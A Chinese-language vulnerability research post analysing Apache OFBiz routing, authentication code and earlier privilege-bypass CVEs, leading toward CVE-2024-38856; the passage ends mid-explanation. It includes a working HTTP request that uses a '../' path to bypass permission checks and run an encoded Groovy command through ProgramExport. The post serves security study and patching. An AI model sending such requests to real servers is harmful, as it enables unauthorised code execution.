Apache OFBiz Authentication Bypass(CVE-2024-38856)
2024-6-23 19:22:40 Author: y4tacker.github.io(查看原文) 阅读量:22 收藏

写在前面

​ 自去年CVE-2023-51467爆出后,起初我是不太想再看这个系统了,但年初连续的三个权限绕过相关的CVE编号(CVE-2024-25065/CVE-2024-32113/CVE-2024-36104)又让我产生了好奇,随着对三个历史漏洞分析的过程中,我也发现这三个漏洞的影响面其实并没有特别严重,但思路值得学习(本质是低权限账号提权,利用前提是需要知道低权限账号的密码),但随着进一步的深入分析,最终找到了一个新的利用方,捡了一个前台RCE,在下文中,我将先对路由与鉴权做简单分析并穿插分析历史CVE的成因(CVE-2024-25065/CVE-2024-32113/CVE-2024-36104),最后分享CVE-2024-38856的利用以及一些对抗流量设备的点

路由与鉴权

(声明:以下仅介绍与漏洞相关必要代码)

Apache OFBiz的路由统一由org.apache.ofbiz.webapp.control.ControlServlet处理,在其doGET/doPOST方法中,首先用大量的代码完成了请求相关环境的初始化(字符集、日志以及上下文等),其后对具体的请求处理逻辑则是通过RequestHandler处理

image-20240623202154411

可以看到在org.apache.ofbiz.webapp.control.RequestHandler#doRequest

首先加载了配置信息,它会根据我们请求的上下文环境,解析配置文件webapp/xxxxx/WEB-INF/controller.xml,为方便讲解下文中的ControllerConfig统一用ccfg代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18


try {
ccfg = new ControllerConfig(getControllerConfig());
} catch (WebAppConfigurationException e) {
Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
throw new RequestHandlerException(e);
}

public ConfigXMLReader.ControllerConfig getControllerConfig() {
try {
return ConfigXMLReader.getControllerConfig(this.controllerConfigURL);
} catch (WebAppConfigurationException e) {

Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
}
return null;
}

这里以webapp/partymgr/WEB-INF/controller.xml为例

简单看看这个配置文件,在前几行引入了一些通用的配置,另外在这里的注释中也提示我们如果存在preprocessor/postprocessor标签分别会执行预处理与后处理操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<include location="component://common/webcommon/WEB-INF/common-controller.xml"/>
<include location="component://common/webcommon/WEB-INF/security-controller.xml"/>
<include location="component://commonext/webapp/WEB-INF/controller.xml"/>
<include location="component://content/webapp/content/WEB-INF/controller.xml"/>
<description>Party Manager Module Site Configuration File</description>

<handler name="simplecontent" type="view" class="org.apache.ofbiz.content.view.SimpleContentViewHandler"/>












在此配置文件中剩余部分则以路由以及路由属性相关配置为主

image-20240623203146560

在下文分析时,我们以登录路由/partymgr/control/login为例

从下面的代码来看,首先会根据我们请求的路径从ccfg中尝试匹配并取得对应配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
String path = request.getPathInfo();
String requestUri = getRequestUri(path);
String overrideViewUri = getOverrideViewUri(path);

Collection<RequestMap> rmaps = resolveURI(ccfg, request);
if (rmaps.isEmpty()) {
if (throwRequestHandlerExceptionOnMissingLocalRequest) {
throw new RequestHandlerException(requestMissingErrorMessage);
} else {
throw new RequestHandlerExceptionAllowExternalRequests();
}
}

String method = request.getMethod();
RequestMap requestMap = resolveMethod(method, rmaps).orElseThrow(() -> {
String msg = UtilProperties.getMessage("WebappUiLabels", "RequestMethodNotMatchConfig",
UtilMisc.toList(requestUri, method), UtilHttp.getLocale(request));
return new MethodNotAllowedException(msg);
});

而我们的login则在一开始引入的通用配置webcommon/WEB-INF/common-controller.xml

此配置文件开头先是定义了预处理与后处理相关事件操作,再往后看不难发现login相关配置,这里我们需要关注几个属性,security标签中的auth决定是否需要登录,event标签定义了如何处理事件,response标签定义返回类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<preprocessor>

<event name="check509CertLogin" type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="check509CertLogin"/>
<event name="checkRequestHeaderLogin" type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="checkRequestHeaderLogin"/>
<event name="checkServletRequestRemoteUserLogin" type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="checkServletRequestRemoteUserLogin"/>
<event name="checkExternalLoginKey" type="java" path="org.apache.ofbiz.webapp.control.ExternalLoginKeysManager" invoke="checkExternalLoginKey"/>
<event name="checkJWTLogin" type="java" path="org.apache.ofbiz.webapp.control.JWTManager" invoke="checkJWTLogin"/>
<event name="checkProtectedView" type="java" path="org.apache.ofbiz.webapp.control.ProtectViewWorker" invoke="checkProtectedView"/>
<event name="extensionConnectLogin" type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="extensionConnectLogin"/>
</preprocessor>
<postprocessor>

</postprocessor>

xxxx省略xxxx
<request-map uri="login">
<security https="true" auth="false"/>
<event type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="login"/>
<response name="success" type="view" value="main"/>
<response name="requirePasswordChange" type="view" value="requirePasswordChange"/>
<response name="error" type="view" value="login"/>
</request-map>

继续回到我们的RequestHandler执行析,由于我们第一次进入不是链式请求(ControlServet中执行时定义了chain为null),所以这里我们直接看else分支,跳过部分无关代码

首先会执行我们的预处理事件,这其中包含了证书校验、是否通过header登录、JWT登录、多身份视图权限等(漏洞无关,感兴趣可自行看代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
if (chain != null) {
xxxxxxxxxxx
} else {
xxxxxxxxxxx


for (ConfigXMLReader.Event event: ccfg.getPreprocessorEventList().values()) {
try {
String returnString = this.runEvent(request, response, event, null, "preprocessor");
if (returnString == null || "none".equalsIgnoreCase(returnString)) {
interruptRequest = true;
} else if (!"success".equalsIgnoreCase(returnString)) {
if (!returnString.contains(":_protect_:")) {
throw new EventHandlerException("Pre-Processor event [" + event.invoke + "] did not return 'success'.");
} else {
returnString = returnString.replace(":_protect_:", "");
if (returnString.length() > 0) {
request.setAttribute("_ERROR_MESSAGE_", returnString);
}
eventReturn = null;
if (!requestMap.requestResponseMap.containsKey("protect")) {
if (ccfg.getProtectView() != null) {
overrideViewUri = ccfg.getProtectView();
} else {
overrideViewUri = EntityUtilProperties.getPropertyValue("security", "default.error.response.view", delegator);
overrideViewUri = overrideViewUri.replace("view:", "");
if ("none:".equals(overrideViewUri)) {
interruptRequest = true;
}
}
}
}
}
} catch (EventHandlerException e) {
Debug.logError(e, module);
}
}
}

如果以上预处理均通过之后,接下来则会判断路由是否需要认证

image-20240623212746207

如果需要认证则会取checkLogin对应的事件做处理并判断,从配置中可以看到,这个校验是通过方法org.apache.ofbiz.webapp.control.LoginWorker#extensionCheckLogin完成(还记得么,CVE-2023-49070就是通过?USERNAME=&PASSWORD=s&requirePasswordChange=Y绕过了此处的登录校验)

1
2
3
4
5
6
7
8
<request-map uri="checkLogin">
<description>Verify a user is logged in.</description>
<security https="true" auth="false"/>
<event type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="extensionCheckLogin"/>
<response name="success" type="view" value="main"/>
<response name="impersonated" type="view" value="impersonated"/>
<response name="error" type="view" value="login"/>
</request-map>

在之后则会调用我们url相关配置中对应的事件(这里需要注意如果事件返回为空则nextRequestResponse = ConfigXMLReader.emptyNoneRequestResponse)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

if (eventReturn == null && requestMap.event != null) {
if (requestMap.event.type != null && requestMap.event.path != null && requestMap.event.invoke != null) {
try {
long eventStartTime = System.currentTimeMillis();


eventReturn = this.runEvent(request, response, requestMap.event, requestMap, "request");

if (requestMap.event.metrics != null) {
requestMap.event.metrics.recordServiceRate(1, System.currentTimeMillis() - startTime);
}


if (this.trackStats(request)) {
ServerHitBin.countEvent(cname + "." + requestMap.event.invoke, request, eventStartTime,
System.currentTimeMillis() - eventStartTime, userLogin);
}


if (eventReturn == null) {
nextRequestResponse = ConfigXMLReader.emptyNoneRequestResponse;
}
} catch (EventHandlerException e) {

if (requestMap.requestResponseMap.containsKey("error")) {
eventReturn = "error";
Locale locale = UtilHttp.getLocale(request);
String errMsg = UtilProperties.getMessage("WebappUiLabels", "requestHandler.error_call_event", locale);
request.setAttribute("_ERROR_MESSAGE_", errMsg + ": " + e.toString());
} else {
throw new RequestHandlerException("Error calling event and no error response was specified", e);
}
}
}
}

对于我们举例说明的login,从配置看则是调用org.apache.ofbiz.webapp.control.LoginWorker#login完成登录

1
2
3
4
5
6
7
<request-map uri="login">
<security https="true" auth="false"/>
<event type="java" path="org.apache.ofbiz.webapp.control.LoginWorker" invoke="login"/>
<response name="success" type="view" value="main"/>
<response name="requirePasswordChange" type="view" value="requirePasswordChange"/>
<response name="error" type="view" value="login"/>
</request-map>

接下来的代码逻辑,如果登陆不成功,则会重定向跳转并返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

if (previousRequest != null && loginPass != null && "TRUE".equalsIgnoreCase(loginPass)) {
request.getSession().removeAttribute("_PREVIOUS_REQUEST_");

if ("logout".equals(previousRequest) || "/logout".equals(previousRequest) || "login".equals(previousRequest) || "/login".equals(previousRequest) || "checkLogin".equals(previousRequest) || "/checkLogin".equals(previousRequest) || "/checkLogin/login".equals(previousRequest)) {
Debug.logWarning("Found special _PREVIOUS_REQUEST_ of [" + previousRequest + "], setting to null to avoid problems, not running request again", module);
} else {
if (Debug.infoOn()) Debug.logInfo("[Doing Previous Request]: " + previousRequest + showSessionId(request), module);


Map<String, Object> previousParamMap = UtilGenerics.checkMap(request.getSession().getAttribute("_PREVIOUS_PARAM_MAP_URL_"), String.class, Object.class);
String queryString = UtilHttp.urlEncodeArgs(previousParamMap, false);
String redirectTarget = previousRequest;
if (UtilValidate.isNotEmpty(queryString)) {
redirectTarget += "?" + queryString;
}

callRedirect(makeLink(request, response, redirectTarget), response, request, ccfg.getStatusCodeString());
return;
}
}

ConfigXMLReader.RequestResponse successResponse = requestMap.requestResponseMap.get("success");

如果成功则继续向下执行,接下来会根据我们的返回结果选择对应视图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

if (eventReturnBasedRequestResponse != null && (!"success".equals(eventReturnBasedRequestResponse.name) || "none".equals(eventReturnBasedRequestResponse.type))) nextRequestResponse = eventReturnBasedRequestResponse;

ConfigXMLReader.RequestResponse successResponse = requestMap.requestResponseMap.get("success");
if ((eventReturn == null || "success".equals(eventReturn)) && successResponse != null && "request".equals(successResponse.type)) {

if (UtilValidate.isNotEmpty(overrideViewUri)) {
request.setAttribute("_POST_CHAIN_VIEW_", overrideViewUri);
}
nextRequestResponse = successResponse;
}


if (nextRequestResponse == null) nextRequestResponse = successResponse;

if (nextRequestResponse == null) {
throw new RequestHandlerException("Illegal response; handler could not process request [" + requestMap.uri + "] and event return [" + eventReturn + "].");
}

根据视图类型决定下一步操作的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
if ("url".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a URL redirect." + showSessionId(request), module);
callRedirect(nextRequestResponse.value, response, request, ccfg.getStatusCodeString());
} else if ("url-redirect".equals(nextRequestResponse.type)) {

if (Debug.verboseOn())
Debug.logVerbose("[RequestHandler.doRequest]: Response is a URL redirect with redirect parameters."
+ showSessionId(request), module);
callRedirect(nextRequestResponse.value + this.makeQueryString(request, nextRequestResponse), response,
request, ccfg.getStatusCodeString());
} else if ("cross-redirect".equals(nextRequestResponse.type)) {

if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Cross-Application redirect." + showSessionId(request), module);
String url = nextRequestResponse.value.startsWith("/") ? nextRequestResponse.value : "/" + nextRequestResponse.value;
callRedirect(url + this.makeQueryString(request, nextRequestResponse), response, request, ccfg.getStatusCodeString());
} else if ("request-redirect".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Request redirect." + showSessionId(request), module);
callRedirect(makeLinkWithQueryString(request, response, "/" + nextRequestResponse.value, nextRequestResponse), response, request, ccfg.getStatusCodeString());
} else if ("request-redirect-noparam".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Request redirect with no parameters." + showSessionId(request), module);
callRedirect(makeLink(request, response, nextRequestResponse.value), response, request, ccfg.getStatusCodeString());
} else if ("view".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);


String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
} else if ("view-last".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);


String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;


Map<String, Object> urlParams = null;
if (session.getAttribute("_SAVED_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_SAVED_VIEW_NAME_");
urlParams = UtilGenerics.<String, Object>checkMap(session.getAttribute("_SAVED_VIEW_PARAMS_"));
} else if (session.getAttribute("_HOME_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_HOME_VIEW_NAME_");
urlParams = UtilGenerics.<String, Object>checkMap(session.getAttribute("_HOME_VIEW_PARAMS_"));
} else if (session.getAttribute("_LAST_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_LAST_VIEW_NAME_");
urlParams = UtilGenerics.<String, Object>checkMap(session.getAttribute("_LAST_VIEW_PARAMS_"));
} else if (UtilValidate.isNotEmpty(nextRequestResponse.value)) {
viewName = nextRequestResponse.value;
}
if (UtilValidate.isEmpty(viewName) && UtilValidate.isNotEmpty(nextRequestResponse.value)) {
viewName = nextRequestResponse.value;
}
if (urlParams != null) {
for (Map.Entry<String, Object> urlParamEntry: urlParams.entrySet()) {
String key = urlParamEntry.getKey();

if (!("_EVENT_MESSAGE_".equals(key) || "_ERROR_MESSAGE_".equals(key)
|| "_EVENT_MESSAGE_LIST_".equals(key) || "_ERROR_MESSAGE_LIST_".equals(key))) {
request.setAttribute(key, urlParamEntry.getValue());
}
}
}
renderView(viewName, requestMap.securityExternalView, request, response, null);
} else if ("view-last-noparam".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);


String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;


if (session.getAttribute("_SAVED_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_SAVED_VIEW_NAME_");
} else if (session.getAttribute("_HOME_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_HOME_VIEW_NAME_");
} else if (session.getAttribute("_LAST_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_LAST_VIEW_NAME_");
} else if (UtilValidate.isNotEmpty(nextRequestResponse.value)) {
viewName = nextRequestResponse.value;
}
renderView(viewName, requestMap.securityExternalView, request, response, null);
} else if ("view-home".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);


String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;


Map<String, Object> urlParams = null;
if (session.getAttribute("_HOME_VIEW_NAME_") != null) {
viewName = (String) session.getAttribute("_HOME_VIEW_NAME_");
urlParams = UtilGenerics.<String, Object>checkMap(session.getAttribute("_HOME_VIEW_PARAMS_"));
}
if (urlParams != null) {
for (Map.Entry<String, Object> urlParamEntry: urlParams.entrySet()) {
request.setAttribute(urlParamEntry.getKey(), urlParamEntry.getValue());
}
}
renderView(viewName, requestMap.securityExternalView, request, response, null);
} else if ("none".equals(nextRequestResponse.type)) {

if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is handled by the event." + showSessionId(request), module);
}

如果登陆成功,则会渲染value对应的视图(可以看到view对应的value都是一些路由=>你发现了什么,如果发现了可以先自己看看,没有则继续看我分析)

1
2
3
<response name="success" type="view" value="main"/>
<response name="requirePasswordChange" type="view" value="requirePasswordChange"/>
<response name="error" type="view" value="login"/>

这里为方便理解其后的漏洞场景,这里我们换一个路由,以ProgramExport为例,查看对应配置,可以看到无论response如何响应其视图都是ProgramExport

1
2
3
4
5
<request-map uri="ProgramExport">
<security https="true" auth="true"/>
<response name="success" type="view" value="ProgramExport"/>
<response name="error" type="view" value="ProgramExport"/>
</request-map>

那么接下来我们来简单看看renderView是如何处理的,为方便理解这里我手动去除了大量漏洞主题无关代码,我们主要关注以下部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
private void renderView(String view, boolean allowExtView, HttpServletRequest req, HttpServletResponse resp, String saveName) throws RequestHandlerException {

xxxxxxxxxxxxxxxxx
if (viewMap.page == null) {
if (!allowExtView) {
throw new RequestHandlerException("No view to render.");
} else {
nextPage = "/" + oldView;
}
} else {
nextPage = viewMap.page;
}
ConfigXMLReader.ViewMap viewMap = null;
try {
viewMap = (view == null ? null : getControllerConfig().getViewMapMap().get(view));
} catch (WebAppConfigurationException e) {
Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
throw new RequestHandlerException(e);
}
if (viewMap == null) {
throw new RequestHandlerException("No definition found for view with name [" + view + "]");
}
xxxxxxxxxxxxxxxxx

try {
if (Debug.verboseOn()) Debug.logVerbose("Rendering view [" + nextPage + "] of type [" + viewMap.type + "]", module);
ViewHandler vh = viewFactory.getViewHandler(viewMap.type);
vh.render(view, nextPage, viewMap.info, contentType, charset, req, resp);
} catch (ViewHandlerException e) {
Throwable throwable = e.getNested() != null ? e.getNested() : e;
throw new RequestHandlerException(e.getNonNestedMessage(), throwable);
}

xxxxxxxxxxxxxxxxx
}

public ConfigXMLReader.ControllerConfig getControllerConfig() {
try {
return ConfigXMLReader.getControllerConfig(this.controllerConfigURL);
} catch (WebAppConfigurationException e) {

Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
}
return null;
}

private RequestHandler(ServletContext context) {
this.controllerConfigURL = ConfigXMLReader.getControllerConfigURL(context);
try {
ConfigXMLReader.getControllerConfig(this.controllerConfigURL);
} catch (WebAppConfigurationException e) {

}
xxxxxxxxx

}

解析的配置对应配置文件中的这部分,type为screen对应MacroScreenViewHandler(对应配置文件下handler标签下type为view的配置),page对应nextPage也就是component://webtools/widget/EntityScreens.xml#ProgramExport

1
<view-map name="ProgramExport" type="screen" page="component://webtools/widget/EntityScreens.xml#ProgramExport"/>

接下来render的流程比较复杂,这里就不再一点一点分析了,简单来说就是根据nextPage解析对应字段参数,在这里即为EntityScreens.xml中的screenProgramExport的部分,对于其中的script字段也会去尝试解析执行ProgramExport.groovy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<screen name="ProgramExport">
<section>
<actions>
<set field="titleProperty" value="PageTitleEntityExportAll"/>
<set field="tabButtonItem" value="programExport"/>
<script location="component://webtools/groovyScripts/entity/ProgramExport.groovy"/>
</actions>
<widgets>
<decorator-screen name="CommonImportExportDecorator" location="${parameters.mainDecoratorLocation}">
<decorator-section name="body">
<screenlet>
<include-form name="ProgramExport" location="component://webtools/widget/MiscForms.xml"/>
</screenlet>
<screenlet>
<platform-specific>
<html><html-template location="component://webtools/template/entity/ProgramExport.ftl"/></html>
</platform-specific>
</screenlet>
</decorator-section>
</decorator-screen>
</widgets>
</section>
</screen>

查看ProgramExport.groovy,可以见得字段groovyProgram可控,从而造成任意代码执行,当然这里面还有一些代码限制,在上一次漏洞分析时我们已经提过了,这里就不再重复分析了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import org.apache.ofbiz.entity.Delegator
import org.apache.ofbiz.entity.GenericValue
import org.apache.ofbiz.entity.model.ModelEntity
import org.apache.ofbiz.base.util.*
import org.apache.ofbiz.security.SecuredUpload

import org.w3c.dom.Document

import org.codehaus.groovy.control.customizers.ImportCustomizer
import org.codehaus.groovy.control.CompilerConfiguration
import org.codehaus.groovy.control.MultipleCompilationErrorsException
import org.codehaus.groovy.control.ErrorCollector

String groovyProgram = null
recordValues = []
errMsgList = []

if (!parameters.groovyProgram) {
groovyProgram = '''
// Use the List variable recordValues to fill it with GenericValue maps.
// full groovy syntaxt is available

import org.apache.ofbiz.entity.util.EntityFindOptions

// example:

// find the first three record in the product entity (if any)
EntityFindOptions findOptions = new EntityFindOptions()
findOptions.setMaxRows(3)

List products = delegator.findList("Product", null, null, null, findOptions, false)
if (products != null) {
recordValues.addAll(products)
}


'''
parameters.groovyProgram = groovyProgram
} else {
groovyProgram = parameters.groovyProgram
}


def importCustomizer = new ImportCustomizer()
importCustomizer.addImport("org.apache.ofbiz.entity.GenericValue")
importCustomizer.addImport("org.apache.ofbiz.entity.model.ModelEntity")
def configuration = new CompilerConfiguration()
configuration.addCompilationCustomizers(importCustomizer)

Binding binding = new Binding()
binding.setVariable("delegator", delegator)
binding.setVariable("recordValues", recordValues)

ClassLoader loader = Thread.currentThread().getContextClassLoader()
def shell = new GroovyShell(loader, binding, configuration)

if (UtilValidate.isNotEmpty(groovyProgram)) {
try {

if (!SecuredUpload.isValidText(groovyProgram, ["import"])) {
logError("================== Not executed for security reason ==================")
request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason")
return
}
shell.parse(groovyProgram)
shell.evaluate(groovyProgram)
recordValues = shell.getVariable("recordValues")
xmlDoc = GenericValue.makeXmlDocument(recordValues)
context.put("xmlDoc", xmlDoc)
} catch(MultipleCompilationErrorsException e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
} catch(groovy.lang.MissingPropertyException e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
} catch(IllegalArgumentException e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
} catch(NullPointerException e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
} catch(Exception e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
}
}

接下来,在我们简单了解了整个解析流程后,我们再来看看这三个连续出现的CVE就显得不那么困难了

浅析连续出现三次的权限绕过漏洞

在一开始流程分析我们更需要注重对流程的分析,在漏洞分析过程我们则更需要注重具体的细节

之前网上发的Payload其实和这个CVE的漏洞没啥关系(/webtools/control/forgotPassowrd/../ProgramExport压根就不会走到这个权限校验的逻辑),这三个CVE本质是checkLogin事件中绕过org.apache.ofbiz.webapp.control.LoginWorker#hasBasePermission实现低权限用户的权限提升

分析前我先创建一个最小权限的账号(甚至没有正常登录后台的权限)(PS:此截图来源于V18.12.12),这个漏洞的作用就能帮助我们完成垂直越权

image-20240623232919733

CVE-2024-25065

权限绕过浅析

对账号的访问权限部分由org.apache.ofbiz.webapp.control.LoginWorker#hasBasePermission控制

在这里很显然只要我们能够让info为null即可跳过判断,查看ComponentConfig.getWebAppInfo的代码我们不难发现,判断条件是equals,因此只要我们能让其不相等即可,而这个contextPath变量来源于request.getContextPath()的执行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

public static boolean hasBasePermission(GenericValue userLogin, HttpServletRequest request) {
Security security = (Security) request.getAttribute("security");
if (security != null) {
ServletContext context = request.getServletContext();
String serverId = (String) context.getAttribute("_serverId");

String contextPath = request.getContextPath();
if (UtilValidate.isEmpty(contextPath)) {
contextPath = "/";
}
ComponentConfig.WebappInfo info = ComponentConfig.getWebAppInfo(serverId, contextPath);
if (info != null) {
return hasApplicationPermission(info, security, userLogin);
} else {
if (Debug.infoOn()) {
Debug.logInfo("No webapp configuration found for : " + serverId + " / " + contextPath, module);
}
}
} else {
if (Debug.warningOn()) {
Debug.logWarning("Received a null Security object from HttpServletRequest", module);
}
}
return true;
}


public static WebappInfo getWebAppInfo(String serverName, String contextRoot) {
if (serverName == null || contextRoot == null) {
return null;
}
ComponentConfig.WebappInfo info = null;
for (ComponentConfig cc : getAllComponents()) {
for (WebappInfo wInfo : cc.getWebappInfos()) {
if (serverName.equals(wInfo.server) && contextRoot.equals(wInfo.getContextRoot())) {
info = wInfo;
}
}
}
return info;
}

这里为了方便大家的理解,我们可以看一下具体的函数实现

org.apache.catalina.connector.Request#getContextPath中,可以看到函数的返回与match相关

我们只需保证candidatecanonicalContextPath相等即可让match返回true(match = canonicalContextPath.equals(candidate);),而candidate的值是通过while循环取得,每次多取一级子目录的值,并经过url解码以及normalize后即为其值

因此我们很容易构造出这样的URL/y4tacker/../webtools/control/login,这样ContextPath的值中就会带上/y4tacker/../,显然不会再与配置中的值相等,从而实现绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74




@Override
public String getContextPath() {
int lastSlash = mappingData.contextSlashCount;

if (lastSlash == 0) {
return "";
}

String canonicalContextPath = getServletContext().getContextPath();

String uri = getRequestURI();
int pos = 0;
if (!getContext().getAllowMultipleLeadingForwardSlashInPath()) {



do {
pos++;
} while (pos < uri.length() && uri.charAt(pos) == '/');
pos--;
uri = uri.substring(pos);
}

char[] uriChars = uri.toCharArray();

while (lastSlash > 0) {
pos = nextSlash(uriChars, pos + 1);
if (pos == -1) {
break;
}
lastSlash--;
}




String candidate;
if (pos == -1) {
candidate = uri;
} else {
candidate = uri.substring(0, pos);
}
candidate = removePathParameters(candidate);
candidate = UDecoder.URLDecode(candidate, connector.getURICharset());
candidate = org.apache.tomcat.util.http.RequestUtil.normalize(candidate);
boolean match = canonicalContextPath.equals(candidate);
while (!match && pos != -1) {
pos = nextSlash(uriChars, pos + 1);
if (pos == -1) {
candidate = uri;
} else {
candidate = uri.substring(0, pos);
}
candidate = removePathParameters(candidate);
candidate = UDecoder.URLDecode(candidate, connector.getURICharset());
candidate = org.apache.tomcat.util.http.RequestUtil.normalize(candidate);
match = canonicalContextPath.equals(candidate);
}
if (match) {
if (pos == -1) {
return uri;
} else {
return uri.substring(0, pos);
}
} else {

throw new IllegalStateException(
sm.getString("coyoteRequest.getContextPath.ise", canonicalContextPath, uri));
}
}

为什么这及个老漏洞利用必须要求登录

这是很多人都会犯错的地方,以为直接带个../就行了,事后问为什么我不能复现

以下面的数据包为例,通过低权限账号发包后替换Cookie中的JSESSIONID即可(但前提是一定要有账号,账号可以没有任何端点的访问权限)

1
2
3
4
5
6
7
8
9
POST /y4tacker/../webtools/control/ProgramExport HTTP/1.1
Host: 127.0.0.1:8080
X-Forwarded-Proto: HTTPS
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=BF2814CAF9E77F1F1C7A7DD49465D0B6.jvm1; Path=/webtools; HttpOnly
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 200

USERNAME=y4tacker&PASSWORD=y4tacker123&JavaScriptEnabled=Y&groovyProgram=\u0022\u006f\u0070\u0065\u006e\u0020\u002d\u006e\u0061\u0020\u0043\u0061\u006c\u0063\u0075\u006c\u0061\u0074\u006f\u0072\u0022\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029

这时候就会有人问,这里不是都绕过hasBasePermission了么?为什么还需要密码?这里再带大家梳理一遍

  1. 我们要利用的功能点ProgramExport(对应第二点提到的Path)其属性auth为true,代表需要鉴权,路由功能是通过path决定的(requestMapMap.get(requestUri)=>getRequestUri(path);=>req.getPathInfo();)

  2. 需要鉴权就需要通过extensionCheckLogin完成,在这个函数中先校验用户名密码

  3. 用户名密码正确,之后通过函数hasBasePermission判断是否有对应路径权限,而我们使用带../的路径绕过hasBasePermission权限校验

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38

    Collection<RequestMap> rmaps = resolveURI(ccfg, request);
    if (rmaps.isEmpty()) {
    if (throwRequestHandlerExceptionOnMissingLocalRequest) {
    throw new RequestHandlerException(requestMissingErrorMessage);
    } else {
    throw new RequestHandlerExceptionAllowExternalRequests();
    }
    }

    String method = request.getMethod();
    RequestMap requestMap = resolveMethod(method, rmaps).orElseThrow(() -> {
    String msg = UtilProperties.getMessage("WebappUiLabels", "RequestMethodNotMatchConfig",
    UtilMisc.toList(requestUri, method), UtilHttp.getLocale(request));
    return new MethodNotAllowedException(msg);
    });


